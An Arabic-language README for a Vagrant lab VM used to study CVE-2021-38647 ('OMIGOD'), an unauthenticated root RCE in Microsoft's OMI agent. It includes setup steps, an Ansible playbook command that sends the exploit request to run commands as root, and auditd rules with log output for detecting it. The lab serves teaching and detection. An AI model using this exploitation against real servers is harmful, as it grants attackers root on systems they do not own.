
مختبر اختبار لآلة افتراضية (VM) مبني على Vagrant للتعلّم عن CVE-2021-38647 في وكيل Open Management Infrastructure (المعروف أيضًا باسم "omigod").
آلة افتراضية مخبرية تعليمية للتعلّم عن ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) غير المصادق عليها بدرجة 9.6 من CVSS في برنامج Open Management Infrastructure (CVE-2021-38647).
الإفصاح (البحث الأصلي): https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
كود مصدر OMI: https://github.com/microsoft/omi
الأخبار:
كتابة تحليلية:
اقرأ بعض ما سبق قبل المتابعة.
git clone https://github.com/craig-m-unsw/omigod-lab.git
cd omigod-lab
vagrant up
vagrant ssh
سيقوم هذا بإعداد Ubuntu 20.04 (Focal Fossa). شكرًا لـ Roboxes على صندوق Vagrant.
تم التثبيت بواسطة Ansible playbook.yml:
sha256:2e0813ee3f2a71028f071d9933ca2f336faaaf9b6126d5f1767ffcbc7e803279sha256:1cba16e3b307177cbe15bd3fd8a2a87ab8d638846988202be8a17981b5e900c9لا تضع هذه الآلة الافتراضية على الإنترنت :-)
بفضل Vagrant، سيكون هناك إعادة توجيه منفذ من localhost:5986 إلى 5986 داخل الآلة الافتراضية بعد تشغيل الصندوق. لدينا الآن آلة افتراضية مخبرية للاختبار.
كل ما نحتاجه هو إرسال طلب SOAP إلى خادم OMI المعرّض للثغرة، ويمكن استخدام وحدة uri التابعة لـ Ansible لإرسال حمولة XML هذه:
cd /vagrant
ansible-playbook attack-play.yml -e "rcecmd=uptime"
يجب أن ترى مخرجات الأمر uptime في <p:StdOut>.
إذا غيّرت الأمر إلى id يمكنك رؤية مخرجات uid=0(root) gid=0(root) groups=0(root).
😬😬😬
أكواد استغلال عامة أخرى:
وثائق البدء من Microsoft: https://github.com/microsoft/omi/blob/master/Unix/doc/omi/omi.pdf
داخل الآلة الافتراضية، تم تثبيت auditd.
سجّل تنفيذ جميع الأوامر:
sudo auditctl -a exit,always -F arch=b32 -S execve -k execve
sudo auditctl -a exit,always -F arch=b64 -S execve -k execve
sudo tail -f /var/log/audit/audit.log
المخرجات من إرسال أمر:
type=SYSCALL msg=audit(1631977306.937:107): arch=c000003e syscall=59 success=yes exit=0 a0=7f906c002570 a1=7f906c001330 a2=7fffe5148108 a3=7f90751453f0 items=2 ppid=8552 pid=9974 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="sh" exe="/usr/bin/dash" key="execve"
type=EXECVE msg=audit(1631977306.937:107): argc=3 a0="/bin/sh" a1="-c" a2="whoami"
type=CWD msg=audit(1631977306.937:107): cwd="/var/opt/microsoft/scx/tmp"
type=PATH msg=audit(1631977306.937:107): item=0 name="/bin/sh" inode=5374016 dev=08:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1631977306.937:107): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=5377053 dev=08:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PROCTITLE msg=audit(1631977306.937:107): proctitle=2F62696E2F7368002D630077686F616D69
type=SYSCALL msg=audit(1631977306.937:108): arch=c000003e syscall=59 success=yes exit=0 a0=564c4e436b90 a1=564c4e436b38 a2=564c4e436b48 a3=7f5b83f28850 items=2 ppid=9974 pid=9975 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="whoami" exe="/usr/bin/whoami" key="execve"
type=EXECVE msg=audit(1631977306.937:108): argc=1 a0="whoami"
type=CWD msg=audit(1631977306.937:108): cwd="/var/opt/microsoft/scx/tmp"
type=PATH msg=audit(1631977306.937:108): item=0 name="/usr/bin/whoami" inode=5374366 dev=08:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1631977306.937:108): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=5377053 dev=08:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PROCTITLE msg=audit(1631977306.937:108): proctitle="whoami"
لقد قام شخص ما بتشغيل "whoami".
تشير Microsoft إلى ذلك في منشور المدونة "Additional Guidance Regarding OMI Vulnerabilities within Azure VM Management Extensions" حول الكشف: